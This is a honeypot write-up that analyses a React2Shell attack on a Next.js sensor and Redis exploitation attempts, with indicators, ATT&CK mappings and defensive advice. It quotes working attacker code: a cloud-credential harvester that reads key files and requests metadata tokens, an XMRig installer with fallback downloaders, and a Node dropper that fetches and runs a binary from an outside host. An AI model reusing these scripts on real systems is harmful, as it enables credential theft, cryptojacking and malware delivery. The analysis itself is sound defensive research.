On the first night of this project, a React2Shell probe hit the wrong sensor. 143.244.147[.]123 sent execSync('echo R2SHELL_751f698fd1') at Bold Earwig, which was running Tomcat, so it got a default page back and moved on (Wrong Door). Right Door covered a different kit, “mold”, landing on Vibrant Quetzal, the sensor that actually runs a vulnerable Next.js app.
This one closes the loop. The R2SHELL_ canary turned up on Vibrant Quetzal on 2026-10-17, and this time the echo came back. What follows is what that bot did with the box over the next three and a half days, read from Swarm’s Tactics view, the command timeline, and the files Swarm captured from the sensor’s disk. Nothing in this writeup touched the attacker’s servers: every script below is a copy Swarm kept when it was written to /tmp.

The session on Swarm’s Tactics page: tagged Defense Evasion, Credential Access, Discovery and Impact, started by next-server.
Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.
The bot confirms code execution with echo R2SHELL_<id>, then pipes a base64 script into sh. That script is a cloud credential sweep with labelled output sections (ENV, AWSFILES, GCPFILES, AZUREFILES, OCIFILES, GITCREDS, SSHKEYS, each opened by a marker like echo '===ENV==='), followed by token requests to the AWS, ECS, GCP and Azure metadata services and searches for Terraform state, .env files and SSH agent sockets. It reran roughly every hour, with a smaller R2SDAEMON / AWSNIFF check about 30 minutes after each sweep that only reports yes/no flags.
It also wrote two payloads. /tmp/.r2d.sh (four variants) is an XMRig installer: it finds a directory it can execute from near the Node app, downloads xmrig-x64 or xmrig-arm64 from one of three mirrors with four fallback download methods, sizes its threads to the container’s cgroup CPU quota and writes a watchdog. /tmp/.dl*.js (15 identical copies) is a Node loader for vltrig-loader-linux on a clean AWS address. Both payloads needed outbound HTTP, and the sensor blocks egress, so every run Swarm recorded (at least one a day from 10-18 to 10-20) spent 42 minutes trying every download method against every mirror and gave up. Reading the installer also turned up three bugs, one of which (an unquoted heredoc) means the watchdog could never have done its job.
Neither payload hash is on MalwareBazaar or VirusTotal, the loader host has no AbuseIPDB reports and no URLhaus entries, while three of the four miner mirrors are well-reported abusive VPSes.
flowchart LR
A["React2Shell<br/>echo R2SHELL_id"] --> B["base64 harvester<br/>hourly"]
A --> C["R2SDAEMON / AWSNIFF<br/>yes/no flags"]
A --> D["/tmp/.r2d.sh<br/>XMRig installer"]
A --> E["/tmp/.dl*.js<br/>Node loader"]
D --> F[":8765 mirrors<br/>xmrig-x64 / arm64"]
D --> G["wd.sh watchdog<br/>(broken)"]
E --> H["44.197.240[.]5<br/>vltrig-loader-linux"]
F -.->|egress blocked| X(("x"))
H -.->|egress blocked| X
| Source | What it gave |
|---|---|
Swarm Tactics, session bb300ef0-952f-8a27-ab97-c0521ecce425 | Started 2026-10-17 19:45:02 UTC, still open at 3d 14h, 500 commands (the page cap), 387 outbound connections, 19 captured files |
Swarm Tactics, sh sessions 10-18 11:12, 10-19 11:00, 10-20 09:15 (1f1c0d09…), 10-20 11:38 (7731a544…) | Four full runs of /tmp/.r2d.sh, 20 commands each, 41m 51s to 41m 57s each |
Swarm Tactics, session 99d0859b… | The Next.js process itself from 10-14, 6d 7h: other kits sharing the box |
| Captured files (downloaded from Swarm) | 4 × /tmp/.r2d.sh, 15 × /tmp/.dl*.js |
| File | Size | SHA-256 |
|---|---|---|
.r2d.sh (variant A, pool 194.163.143[.]72) | 5,737 | f393442a310677b3b656e35468b49c4dd0bc64c6d80896785ae92f42c8707968 |
.r2d.sh (variant B, pool 85.215.219[.]126) | 5,737 | 914d92d5376dd3d90ebe0f4ec0d1e84d00c9d55bfa372ae0cf64932b9173c0e6 |
.r2d.sh (variant C, renamed variables, second wallet) | 5,752 | 9d0243336eaa73c5737badf7cf86d8017a106c29c7f415581bcf8eeb795f2e78 |
.r2d.sh (variant D, mismatched pool hex) | 5,737 | fa97b2a4c174d4d997583e2b2e76b53646cf7b1d6542e244e5534a8e04cfebde |
.dl*.js (all 15 identical) | 1,371 | eebd7b700d9a6867e00cf5f782520973b251fbecdf6832e898efecee5a51a6f2 |
Handling: read as text in REMnux, hashed, diffed against each other. The only thing executed was the watchdog’s heredoc on its own with dummy values (see below), which writes a file and runs nothing from the kit.

Swarm’s view of the session: no inbound flow listed, 500 commands (the cap), still open at 3d 14h when I took this.

Nineteen files, five hashes: four distinct .r2d.sh variants and one loader saved 15 times under different names.
19:45:02 sh -c echo R2SHELL_0a2c8bec29
19:45:04 sh -c echo CmVjaG8gJz09PUJFR0lOPT09JwplY2hvICJIT1NU... | base64 -d | sh
Same marker format as the 10-14 probe on Bold Earwig: R2SHELL_ plus ten hex characters. The marker only proves the exploit ran. Two seconds later the real work starts. I can’t say whether 143.244.147[.]123 sent this one too, because Swarm lists the session’s inbound side as “none listed”, so the exploit request isn’t tied to a source IP here.

The canary at 19:45:02, the base64 sweep two seconds later, and the first discovery commands it spawns.
Decoded, the blob is a shell script that prints everything between labelled markers so the operator can parse the HTTP response:
echo '===BEGIN==='
echo "HOST|$(hostname 2>/dev/null)|$(id -un 2>/dev/null)|$(id -u 2>/dev/null)|$(uname -m)"
echo '===ENV==='
printenv 2>/dev/null | grep -Ei '^(AWS_|AZURE_|ARM_|GOOGLE_|GCP_|GITHUB_|GH_|GITLAB_|GL_|OCI_|DO_|DIGITALOCEAN_|HCLOUD_|LINODE_|VULTR_|CLOUDFLARE_|CF_|TF_VAR_|AKIA)' | head -80
echo '===AWSFILES==='
for f in /root/.aws/credentials /root/.aws/config /home/*/.aws/credentials ... ; do
[ -f "$f" ] || continue
echo "FILE|$f"; sed -n '1,60p' "$f"; echo "ENDFILE|$f"
done
The same FILE| / ENDFILE| loop repeats for GCP (application_default_credentials.json, credentials.db, /var/secrets/google/key.json), Azure (.azure/credentials, accessTokens.json), Oracle Cloud (.oci/config) and git (.git-credentials, gh/hosts.yml, .netrc). Then it greps the environment and any .env it finds for token shapes: ghp_, github_pat_, glpat-, xoxb-, sk- followed by 20 characters, AKIA keys and BEGIN OPENSSH / BEGIN RSA. SSH keys get a KEYMETA|path|size|first line record before the content check.
The visible commands carry it further than the blob (Swarm truncates the blob at about 4 KB):
ls -d /tmp/ssh-* /run/user/*/keyring /run/user/*/gnupg/S.gpg-agent.ssh
curl -sS -m 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 60 http://169.254.169.254/latest/api/token
printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
curl -sS -m 2 -H Metadata-Flavor: Google http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -sS -m 2 -H Metadata: true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
find /root /home /opt /app /var/www -maxdepth 5 -type f ( -name *.tfvars -o -name terraform.tfvars )
find /root /home /opt /app /var/www -maxdepth 4 -type f ( -name terraform.tfstate -o -name credentials.tfrc.json -o -name .terraformrc )
grep -Ei ^(DO_TOKEN|DIGITALOCEAN_ACCESS_TOKEN|HCLOUD_TOKEN|LINODE_TOKEN|VULTR_API_KEY|SCALEWAY_|FLY_API_TOKEN|HEROKU_API_KEY|RENDER_API_KEY|RAILWAY_TOKEN|NOMAD_TOKEN|PROXMOX_|PACKER_|TF_TOKEN_)
pgrep -f node|next|payload|pm2
Three things stand out. It asks for an AWS IMDSv2 token first (PUT /latest/api/token), so instances that only allow IMDSv2 don’t stop it. It checks for live SSH and GPG agent sockets, which can be used without ever reading a key file. And the Terraform search (tfstate, credentials.tfrc.json) goes after whole-account credentials rather than a single app’s keys.

The blob from the command list, decoded in CyberChef: 4,079 characters of base64 become a 72-line shell script.

Every section marker in the decoded script.

Agent sockets, then AWS IMDSv2, ECS, GCP and Azure token requests within four seconds, then Terraform.
The command list shows the same pattern repeating:
| Time (UTC, 10-17 to 10-18) | Event |
|---|---|
| 19:45:02 | R2SHELL canary, then the sweep (twice in the first ten seconds) |
| 20:10:36 | R2SDAEMON_2a42e8; R2M_9fb7ad67 + AWSNIFF |
| 20:21:42 | R2SDAEMON_7ed4dc; R2M_40638167 + AWSNIFF |
| 20:48:32 | sweep |
| 21:21:52 | R2SDAEMON + AWSNIFF |
| 21:49:20 | sweep |
| 22:22:00 → 03:28:03 | R2SDAEMON + AWSNIFF every hour at :22 to :28 |
| 22:51:51 → 03:57:37 | sweep every hour at :48 to :57 |
That’s where Swarm’s 500-command cap cuts it off, about eight hours into a session that was still open at 3d 14h. The fresh R2SDAEMON / R2M IDs every hour suggest each round is a new request from the operator’s side rather than a cron job on the box. Nothing in the command list writes a crontab or service.

The second sweep at 20:48, an hour after the first: the same finds, the same metadata requests, then the next base64 -d | sh.
The half-hourly check is a cut-down AWS-only test that never prints a secret:
echo '===AWSNIFF==='
if [ -n "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI$ECS_CONTAINER_METADATA_URI_V4" ]; then echo HIT_ECS; fi
env 2>/dev/null | grep -E 'AKIA[A-Z0-9]{16}|ASIA[A-Z0-9]{16}|AWS_ACCESS_KEY_ID=' | head -c 80 >/dev/null && echo HIT_ENV
tok=$(curl -s -m 1 -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')
if [ -n "$tok" ]; then
role=$(curl -s -m 1 -H "X-aws-ec2-metadata-token: $tok" http://169.254.169.254/latest/meta-data/iam/security-credentials/ | head -c 80)
if [ -n "$role" ]; then echo HIT_IMDS; fi
fi
... grep -qE 'AKIA...|ASIA...|aws_access_key_id' "$f" && echo HITFILE && break
echo '===AWSNIFF_END==='
The output is at most four words: HIT_ECS, HIT_ENV, HIT_IMDS, HITFILE. It reads like a triage pass so the operator can sort thousands of popped Next.js servers by “has AWS access” before spending time on any of them. (One small bug: grep ... | head -c 80 >/dev/null && echo HIT_ENV checks head’s exit status, not grep’s, so HIT_ENV fires on every box whether or not it has AWS keys.)
.r2d.sh)Swarm captured four copies of /tmp/.r2d.sh. The file command calls it “JavaScript source” because of the node -e one-liners inside, but it’s a shell script.


The 19 files Swarm kept from the session: 15 randomly named Node loaders and four .r2d.sh copies, each downloadable.

The top of variant A: wallet, pool, a status file, the CPU check that picks xmrig-x64 or xmrig-arm64, and the loop that finds the Node app’s working directory.
for pid in /proc/[0-9]*; do
tr '\0' ' ' <"$pid/cmdline" 2>/dev/null | grep -q '[n]ode' || continue
NCWD=$(readlink "$pid/cwd" 2>/dev/null)
[ -n "$NCWD" ] && [ "$NCWD" != / ] && break
done
for d in "$NCWD" /app /app/.next /var/lib /var/lib/misc /opt /opt/app /usr/local \
/home/nextjs /home/node /home/ubuntu /home/www-data "${HOME}" ... /var/tmp /tmp /dev/shm
do
mkdir -p "$d/.c" || continue
x="$d/.c/.ex"; echo '#!/bin/sh' > "$x" || continue; chmod +x "$x"
"$x" >/dev/null 2>&1 && EDIR="$d/.c" && break
done
It reads every process’s command line looking for node and takes that process’s working directory, then tries a list of directories that suit a Next.js container (/app, /app/.next, /home/nextjs) before falling back to /tmp and /dev/shm. For each one it writes a two-byte test script and runs it, so a noexec mount gets skipped properly instead of guessed. On the sensor the first candidate worked: both recorded runs start with chmod +x /app/.c/.ex and .ex /app/.c/.ex.
dl() {
wget -q -T 25 -O .x.gz "$1" && return 0
curl -fsSL --connect-timeout 8 --max-time 90 -o .x.gz "$1" && return 0
python3 -c 'import urllib.request,sys; urllib.request.urlretrieve(sys.argv[1], ".x.gz")' "$1" && return 0
U="$1" node -e 'var h=require("http"),f=require("fs"),u=process.env.U; ... h.get(u, ...)' && return 0
return 1
}
wget, then curl, then Python, then Node itself: whatever a slim container image might have. The gunzip step has the same three-way fallback (gzip, Python gzip, Node zlib). It tries http://<mirror>:8765/xmrig-x64.bin.gz (or xmrig-arm64 on aarch64) from three mirrors and insists on at least 500,000 bytes before accepting a download.
T=$(nproc)
if [ -r /sys/fs/cgroup/cpu.max ]; then
set -- $(cat /sys/fs/cgroup/cpu.max) # e.g. "200000 100000" = 2 CPUs
if [ "$1" != "max" ] && [ -n "$1" ]; then
P=${2:-100000}; C=$(( ($1 + P - 1) / P ))
[ "$C" -lt "$T" ] && T=$C
fi
fi
setsid "$F" -o "$P" -u "$W" -p x --donate-level=0 --keepalive --randomx-mode=light --threads="$T" \
--no-huge-pages --cpu-priority=5 --background
nproc doesn’t reflect a container’s CPU quota (a 2-CPU limit on a 32-core host still reports 32), so the script reads the cgroup v2 CPU quota and caps its threads to what the container is actually allowed. That keeps it from being throttled and from pinning a host hard enough for someone to notice. --randomx-mode=light and --no-huge-pages trade hash rate for a small memory footprint for the same reason.
100000Look at the variable names in that block again. In variant A, P is the mining pool (P=194.163.143.72:443 at the top). The cgroup code then reuses P for the quota period. On any container with a CPU limit, P becomes 100000 and XMRig gets started with -o 100000. It never reaches the pool.
Variant C is the same script with this fixed: the pool is renamed POOL and the period CGP. That’s the author noticing and patching the kit while it was in the wild. Variants A, B and D still have the bug.

Variant A against variant C: a different wallet and pool, and the fix. P becomes POOL for the pool and CGP for the cgroup period.
After starting the miner, the script writes a watchdog to $EDIR/wd.sh using a heredoc:
cat > "$EDIR/wd.sh" <<WDEOF
#!/bin/sh
BN=$(basename "$BIN")
...
miner_pids() {
for f in /proc/[0-9]*/cmdline; do
pid=${f#/proc/}; pid=${pid%/cmdline}
...
if [ "$1" = loop ]; then
while true; do start_m; sleep 30; done
fi
WDEOF
The delimiter WDEOF isn’t quoted, so the shell expands every $variable and $(command) in the body when it writes the file, not when wd.sh runs. To check, I copied only that heredoc into a scratch script with dummy values (set -- 50000 100000 to stand in for a cgroup quota) and let it write wd.sh. The kit’s other code didn’t run:
BN=
pid=; pid=
s=
[ "0" -gt 0 ] && return 0
[ "" -gt 0 ] && return 0
if [ "" -gt 1 ]; then pkill -f ""/wd.sh\ loop 2>/dev/null; n=0; fi
if [ "50000" = loop ]; then
if [ "50000" = check ]; then

Only the heredoc, with dummy values on line 1 (head -3 shows the whole harness). The written wd.sh has an empty BN, empty pid assignments, a restart with -o "" -u "", and loop/check tests against 50000.
if [ "$1" = loop ] became if [ "50000" = loop ], so the loop and check modes can never run.BN (the miner’s file name) is empty.$WPFULL (and $POOL), which are defined inside wd.sh itself, so they’re expanded from the parent shell when the file is written. The parent never sets WPFULL, and only variant C sets POOL. Any restart starts XMRig with no wallet, and in variants A, B and D with no pool either.So the “watchdog” restarts nothing useful. It’s an easy mistake. Quoting the delimiter (<<'WDEOF') would have fixed all of it.
The watchdog also counts established connections to the pool by matching the pool IP as little-endian hex in /proc/net/tcp. Variant A has POOL_HOST=194.163.143.72 and POOL_HEX=488FA3C2, which is correct (C2.A3.8F.48 reversed). Variant D keeps POOL_HOST=194.163.143.72 but has POOL_HEX=7EDBD755, which is 85.215.219.126, the other pool. A copy-paste between variants, and another check that could never match.

Variant D checks for 194.163.143.72 by name but 85.215.219.126 by hex.
.dl*.js)var isWin=process.platform==="win32";
var url=isWin?"http://44.197.240.5/vltrig-loader.exe":"http://44.197.240.5/vltrig-loader-linux";
var out=isWin?((process.env.TEMP||"C:/Windows/Temp")+"/.vd.exe"):"/tmp/.vd";
...
if(b.length<5000){r.push("TOO_SMALL:"+b.length);...}
f.writeFileSync(out,b); f.chmodSync(out,493); // 0755
c.spawn(out,[],{detached:true,stdio:"ignore"}).unref();
console.log(r.join("\n")); // P:linux / DL:OK:n / EXEC:SPAWNED
A 1.3 KB cross-platform dropper. On Linux it fetches vltrig-loader-linux to /tmp/.vd, on Windows vltrig-loader.exe to %TEMP%\.vd.exe. It runs the download detached and prints a short status report (P:linux, DL:OK:<bytes>, EXEC:SPAWNED, or ERR / TOO_SMALL / TIMEOUT) back to whoever ran it. A Windows branch in a payload for a Next.js exploit suggests the same loader is used for Node apps generally, including developer machines and Windows servers.

The first five lines of one loader: the platform check, both download URLs and the output paths.
Swarm kept 15 byte-identical copies, each under a random name like /tmp/.dlqbzzfn45h9.js. In the long-running Next.js session (99d0859b) they run one after another, chmod +x then node, a new one every 25 seconds:
01:25:36 node /tmp/.dlvy0sb4ukn3.js
01:26:01 node /tmp/.dljql446cytw.js
01:26:27 node /tmp/.dl0vky8vikolx.js
...
01:30:12 node /tmp/.dlope0nuffnxs.js
I didn’t fetch vltrig-loader-linux. It’s only on the attacker’s server, and this project doesn’t download from attacker infrastructure. The name hints at another miner loader, but that’s a guess until a copy turns up somewhere public.
Swarm tagged four short sh sessions on Vibrant Quetzal, at 10-18 11:12, 10-19 11:00, 10-20 09:15 and 10-20 11:38, each lasting 41 minutes 51 to 57 seconds. They’re .r2d.sh actually running, roughly once a day. The two I opened (both 10-20) are the same 20 commands, and the other two carry the same techniques and near-identical durations. The 10-20 09:15 run:
09:15:15 sh /tmp/.r2d.sh
09:15:15 uname -m
09:15:15 chmod +x /app/.c/.ex → .ex /app/.c/.ex
09:15:15 wget -q -T 25 -O .x.gz http://85.215.x.x:8765/...
09:26:00 curl -fsSL --connect-timeout 8 --max-time 90 ...
09:26:08 python3 -c import urllib.request ...
09:28:23 node -e var h=require("http") ...
09:29:13 (mirror 2: wget, curl, python3, node)
09:43:13 (mirror 3: wget, curl, python3, node)
09:57:13 wc -c
Swarm’s network panel for the run lists 85.215.x.x, 138.197.x.x and 158.220.x.x, all with “no sessions”: the connection attempts were recorded, and none got through, because the sensor’s outbound traffic is blocked. wget’s 25-second timeout with its default 20 retries burns almost 11 minutes per mirror before curl gets a turn, so each mirror costs exactly 14 minutes and the run ends 42 minutes later with wc -c. That’s the size check right before the script logs a failure and exits. There’s no chmod, --version or setsid afterwards, so XMRig never started on the sensor.

The 10-20 09:15 run: wget, curl, python3, node against 85.215.x.x, then 138.197.x.x, then 158.220.x.x, each mirror taking 14 minutes, then the size check and nothing else.
The Next.js process Swarm tracked from 10-14 (99d0859b, 6d 7h, 31 network destinations) shows other kits passing through the same door:
nohup /tmp/dashboard --config /tmp/v.json &, repeated every few hours. A config-file launch of a binary named dashboard looks like another renamed miner, but Swarm didn’t capture either file.echo RSCPWN; cd /tmp; (wget -U wget -T 5 -t 1 http://… ) ; curl -s -m 10 -o cat.sh http://… ; sh cat.sh NextJS: a separate bot with its own marker that passes the target type to its script.find /opt/s3remote -maxdepth 2 -name '.env*', every few hours: someone knows a specific product’s install path.Swarm masks the URLs in these, so they stay as notes.
The same night, the Redis 7.2.10 sensor took two full Redis exploitation attempts and blocked every step with defaults:
85.11.167[.]7 (go-redis 9.7.3) stored a key holding a download line for hxxp://91.188.254[.]62/systemd, then tried to point Redis’s save directory at /etc/cron.d, /etc/apt/apt.conf.d (as an APT::Update::Pre-Invoke hook), /etc/profile.d, /var/spool/cron/crontabs, /var/spool/cron and /tmp.121.229.202[.]198 ran the whole playbook in 20 seconds: the CVE-2022-0543 Lua package.loadlib escape, SLAVEOF 8.163.15[.]89 7214 to push a rogue exp.so module, MODULE LOAD, system.exec, then cleanup.Every CONFIG SET dir / dbfilename came back can't set protected config, MODULE LOAD came back MODULE command not allowed, and the Lua escape failed on nonexistent global variable 'package'. Redis 7 ships with enable-protected-configs and enable-module-command set to no, and that alone was enough.
| Host | Role | AbuseIPDB (2026-10-21) |
|---|---|---|
44.197.240[.]5 (AWS, Ashburn) | vltrig-loader host | 0 reports; nothing on URLhaus |
194.163.143[.]72 (Contabo, FR) | Pool A + mirror | 30%, 7 reports since 2026-09-28 |
85.215.219[.]126 (IONOS, DE) | Pool B + mirror | 322 reports, latest 3 months ago |
138.197.174[.]121 (DigitalOcean, CA) | Mirror | 93%, 396 reports since 2023 |
158.220.105[.]179 (Contabo, FR) | Mirror | 100%, 329 reports, latest 10 hours before checking |
The split is typical: commodity mining runs on cheap, already-reported VPSes (one of which was still scanning and brute-forcing when I checked), while the newer loader sits on an unreported cloud address. Neither payload hash was on MalwareBazaar or VirusTotal.

The loader host: an EC2 address nobody has reported.

One of the XMRig mirrors: 329 reports from 140 sources, still active the day I checked.
| Phase | Action |
|---|---|
| Initial Access | React2Shell (CVE-2025-55182) against the Next.js app; echo R2SHELL_<id> canary |
| Execution | Base64 harvester piped to sh; node loaders; node -e and python3 -c download fallbacks |
| Discovery | hostname, id, uname -m, `pgrep -f node |
| Credential Access | Cloud credential files, env token regexes, .env, Terraform state, SSH keys and agent sockets |
| Credential Access | AWS IMDSv2, ECS, GCP and Azure metadata token requests |
| Command and Control | Results returned in-band between echo '===SECTION===' markers; hourly re-entry with fresh R2SDAEMON IDs |
| Defense Evasion | Dot-named files and directories (/tmp/.r2d.sh, /tmp/.dl*.js, /app/.c/.x) |
| Ingress Tool Transfer | XMRig from three :8765 mirrors; vltrig-loader from 44.197.240[.]5 (all blocked) |
| Impact (attempted) | XMRig with cgroup-sized threads and a watchdog |
| Type | Value |
|---|---|
| Canary / markers | R2SHELL_<10 hex>, R2SDAEMON_<6 hex>, R2M_<8 hex>, CX_<8 hex>, echo '===AWSNIFF===', HIT_IMDS / HIT_ECS / HIT_ENV / HITFILE |
| URL (loader) | hxxp://44.197.240[.]5/vltrig-loader-linux, hxxp://44.197.240[.]5/vltrig-loader.exe |
| URLs (miner) | hxxp://{194.163.143[.]72, 85.215.219[.]126, 138.197.174[.]121, 158.220.105[.]179}:8765/xmrig-{x64,arm64}.bin.gz |
| Pools | 194.163.143[.]72:443, 85.215.219[.]126:443 |
| Wallets (XMR) | 47Gju616BichSCU9PzyZGCHASkSwo7rH1N9v7Q5SqvFSjcFjrTXbJMqEzgHDinJFtEPL7o3n9nqMuEr6KvrYCaqeGAbdDXR, 46N8yM3DXDN9JC7wtjTT5iTgJhiTrLKWWBpdnuE3mtBiWazcK1dCKJdFGRPmH3jRmxfaeC5QKFN8w7pVkUZ2iY5mPLvZG6z |
| SHA-256 | See the Artifacts table (4 × .r2d.sh, 1 × .dl*.js) |
| Files | /tmp/.r2d.sh, /tmp/.r2d.st, /tmp/.r2s.boot, /tmp/.dl<random>.js, /tmp/.vd, %TEMP%\.vd.exe, <dir>/.c/.ex, <dir>/.c/.x, <dir>/.c/wd.sh, <dir>/.c/.r2s.lock, /app/.r2s.boot |
| Redis (Bold Earwig) | 85.11.167[.]7, 121.229.202[.]198, hxxp://91.188.254[.]62/systemd, 8.163.15[.]89:7214 |
| Technique | ID | Description |
|---|---|---|
| Exploit Public-Facing Application | T1190 | React2Shell against the Next.js app |
| Unix Shell | T1059.004 | Harvester and .r2d.sh |
| Python | T1059.006 | python3 -c download and gunzip fallbacks |
| JavaScript | T1059.007 | node /tmp/.dl*.js, node -e fallbacks |
| Deobfuscate/Decode Files or Information | T1140 | base64 -d | sh |
| Obfuscated Files or Information | T1027 | Harvester delivered as a base64 blob |
| System Owner/User Discovery | T1033 | id -un, id -u |
| System Information Discovery | T1082 | uname -m, nproc, cgroup cpu.max |
| File and Directory Discovery | T1083 | find for credential files, .env, Terraform state |
| Process Discovery | T1057 | pgrep -f node|next|payload|pm2, /proc/*/cmdline |
| Credentials In Files | T1552.001 | .aws/credentials, .env, .git-credentials, tfstate |
| Private Keys | T1552.004 | SSH key search, agent sockets |
| Cloud Instance Metadata API | T1552.005 | IMDSv2, ECS, GCP, Azure token requests |
| Ingress Tool Transfer | T1105 | XMRig mirrors, vltrig-loader |
| Hidden Files and Directories | T1564.001 | Dot-named files and .c directories |
| Linux and Mac File and Directory Permissions Modification | T1222.002 | chmod +x on test script, miner and loaders |
| Resource Hijacking | T1496 | XMRig Monero mining (attempted) |
Block egress from app containers. Both payloads died here. Three mirrors, four download methods and a 42-minute retry loop all failed because the sensor couldn’t open outbound connections. A Next.js container needs to reach its own APIs, not arbitrary IPs on port 8765.
Require IMDSv2 and set the hop limit to 1. The kit asks for an IMDSv2 token, so “IMDSv2 only” on its own doesn’t stop it from inside the instance. A hop limit of 1 does stop it from inside a container, because the token response can’t cross the extra network hop. Give app containers no instance role at all if they don’t need one.
Watch the Node process’s children. A next-server or npm run start process spawning sh, curl to 169.254.169.254, find over /root and /home, or node /tmp/.<random>.js is never normal. Alert on anything executing from a dot-directory inside the app tree (/app/.c/).
Keep secrets out of the box. The sweep reads .env, .aws/credentials, gh/hosts.yml and Terraform state. Use the platform’s secret store with short-lived credentials, and keep Terraform state in a remote backend instead of on any server that also runs an app.
Redis 7 defaults work, so keep them. enable-protected-configs no and enable-module-command no stopped every Redis technique the Bold Earwig attackers tried. Don’t turn them back on in production.
The bot that knocked on the wrong door on day one came back through the right one, and the first thing it wanted was credentials, not CPU. It looked for cloud keys every hour for as long as Swarm could record and reduced each box to a few HIT_ flags, and only then tried to install a miner. If the sensor had been a real app with an instance role and open egress, the most expensive part would have been the cloud credentials, not the mining.
The installer is careful in places: it finds the Node app’s directory, tests that it can actually execute there, falls back through four download methods and sizes the miner to the container. It’s careless in others: the pool variable gets overwritten, the watchdog is written by an unquoted heredoc, and one variant watches the wrong pool. On this sensor none of that mattered, because nothing could get out.